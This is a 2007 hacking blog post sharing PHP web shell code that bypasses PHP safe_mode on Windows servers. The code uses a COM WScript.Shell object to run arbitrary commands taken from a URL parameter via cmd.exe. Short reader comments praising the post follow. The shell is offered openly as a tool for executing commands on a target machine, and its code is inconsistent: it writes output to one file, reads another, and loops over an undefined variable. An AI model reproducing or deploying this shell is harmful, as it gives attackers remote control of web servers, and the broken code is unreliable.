VIDEO How to bypass SAFE-MODE on WINDOWS BOX using php shell
By lain on Nov 12, 2007 in Security, video|podcast
I’ve just found a nice thread on h4cky0u.org forum about bypassing safe-mode ON , on any WINDOWS OS by using php shell which will allow us to execute / inject any command on target machine. This video is presented in Arabic languange , but it’s very easy to understand.
The PHP SHELL code :
<?php
//PHP COM extensions (inconsistent Win32) safe_mode bypass
$____suntzu = new COM(”WScript.Shell”);
$____suntzu->Run(’c:\windows\system32\cmd.exe /c ‘.escapeshellarg($_GET[cmd]).’ > ‘.dirname($_SERVER[SCRIPT_FILENAME]).’/djekmani.txt’);
$____suntzoi=file(”suntzoi.txt”);
for ($i=0; $i<count($____djekmani); $i++) {echo nl2br(htmlentities($____djekmani[$i]));}
// *quote* from the php manual:
// There is no installation needed to use these functions; they are part of the PHP core.
// The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.
// You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
// we don’t and can’t bundle all of those with PHP.
?>
See how it works.









[…] but it’s very easy to understand. The PHP SHELL code : Hacking, Hacking Videos, […] [Read the rest on (it)gossips network: lain] Related Postsphp-findsock-shell : another interesting web backdoorMake Your Own CGIProxy […]
Great very best
Thx bro
:)
hellow nice job ;
my video in here hhhhhh
thanks man